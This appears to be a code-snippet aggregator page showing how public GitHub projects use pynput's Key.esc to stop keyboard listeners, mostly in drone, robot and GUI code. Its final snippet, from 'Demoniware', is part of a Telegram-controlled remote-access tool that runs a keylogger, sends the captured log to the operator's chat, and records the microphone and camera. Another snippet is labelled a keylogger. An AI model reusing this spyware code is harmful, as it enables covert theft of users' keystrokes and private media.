How to use the pynput.keyboard.Key.esc function in pynput

To help you get started, we’ve selected a few pynput examples, based on popular ways it is used in public projects.

Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.

github jackosx / CAMP / PythonSketches / mq_keyguitar.py View on Github external
def on_release(key):
    # print('{0} released'.format(key))
    keys_pressed.remove(key)
    if key == keyboard.Key.esc:
        # Stop listener
        return False
    if key == keyboard.Key.space:
        return
    try:
        k = key.char
        if k.isdigit():
            client.publish(guitar_topic + 'f', 0)
    except AttributeError:
        print('special key {0} pressed'.format(key))
github nesl / UnrealAirSimDRL / Util / KeyboardListener.py View on Github external
def on_release(key):
    if key == Key.esc:
        exit(0)
    print("Released Key: ", key)
github PedrV / SilverHeart / macOS _ Linux / loggerOS.py View on Github external
def on_release(key):
        logging.warning( '--->  {0} released'.format(
                key ) )
        # Turns off keylogger
        if key == keyboard.Key.esc:
            return False
github trns1997 / AUV-Project / scripts / TELEOPERATION.py View on Github external
def on_release(key):
	pi.set_servo_pulsewidth(SERVO_1, init)
	pi.set_servo_pulsewidth(SERVO_2, init)
	pi.set_servo_pulsewidth(SERVO_3, init)
	pi.set_servo_pulsewidth(SERVO_4, init)

	if key == keyboard.Key.esc:
		# Stop listener
		return False
github cos301-2019-se / Follow-Me-Drones / server / droneManualControls.py View on Github external
def on_release(self, key):
        tcflush(sys.stdin, TCIFLUSH)
        # print('{0} released'.format(key))
        if key == keyboard.Key.esc:
            # Stop listener
            return False
github plstcharles / thelper / thelper / gui / annotators.py View on Github external
logger.debug("swapping to label #%s : '%s'" % (curr_label["id"], curr_label["name"]))
                cls.GUI_DIRTY = True
            elif cls.CURRENT_KEY == pynput.keyboard.Key.left:
                self.curr_label_idx = max(self.curr_label_idx - 1, 0)
                curr_label = self.labels[self.curr_label_idx]
                logger.debug("swapping to label #%s : '%s'" % (curr_label["id"], curr_label["name"]))
                cls.GUI_DIRTY = True
            elif cls.CURRENT_KEY == pynput.keyboard.Key.page_up:
                self.mask_opacity = max(self.mask_opacity - 0.1, 0.0)
                logger.debug("decreasing display mask opacity to %0.1f..." % self.mask_opacity)
                self.image_display = None
            elif cls.CURRENT_KEY == pynput.keyboard.Key.page_down:
                self.mask_opacity = min(self.mask_opacity + 0.1, 1.0)
                logger.debug("increasing display mask opacity to %0.1f..." % self.mask_opacity)
                self.image_display = None
            elif cls.CURRENT_KEY == pynput.keyboard.Key.esc:
                cv.imwrite(self.get_mask_path(self.curr_sample_idx), self.mask)
                logger.debug("breaking off!")
                return True
            elif cls.CURRENT_KEY == pynput.keyboard.Key.f12:
                self.mask = np.full((self.image.shape[0], self.image.shape[1]), self.default_fill_id, dtype=np.uint8)
                self.mask_display = None
            elif cls.CURRENT_KEY == pynput.keyboard.Key.enter:
                cv.imwrite(self.get_mask_path(self.curr_sample_idx), self.mask)
            else:
                for label_idx in range(min(9, nb_labels)):
                    if cls.CURRENT_KEY == pynput.keyboard.KeyCode(char=str(label_idx + 1)):
                        self.curr_label_idx = label_idx
                        curr_label = self.labels[self.curr_label_idx]
                        logger.debug("swapping to label #%s : '%s'" % (curr_label["id"], curr_label["name"]))
                        break
            cls.CURRENT_KEY = -1
github mitchweaver / Discline / terminalinput.py View on Github external
def on_press(key):
    if key.char == keyboard.Key.esc: settings.kill()
    # pass
github mthbernardes / Demoniware / Demoniware.py View on Github external
elif '/keylogger' in cmd[1]:
			if sys.platform == 'win32':
				file = os.environ.get('TEMP')+'\\'+'keylogger.txt'
			elif sys.platform == 'linux' or sys.platform == 'linux2':
				file = '/tmp/keylogger.txt'
			t = Thread(target=keylloger)

			if loads(cmd[2]) is True:
				if t.isAlive() is False:
					bot.sendMessage(chat_id,"Keylogger actived!")
					t.start()

			elif loads(cmd[2]) is False:
				keyboard = Controller()
				keyboard.press(Key.esc)
				bot.sendMessage(chat_id,"Keylogger stopped!")
				f = open(file)
				bot.sendDocument(chat_id,f)
				f.close()
				os.remove(file)

		elif '/record_mic' in cmd[1]:
			t = Thread(target=record_mic,args=(cmd[2],chat_id))
			t.start()

		elif '/snapshot' in cmd[1]:
			snapshot(cmd[2],chat_id)

		elif '/cameras' in cmd[1]:
			result = list_cameras()
			bot.sendMessage(chat_id,result)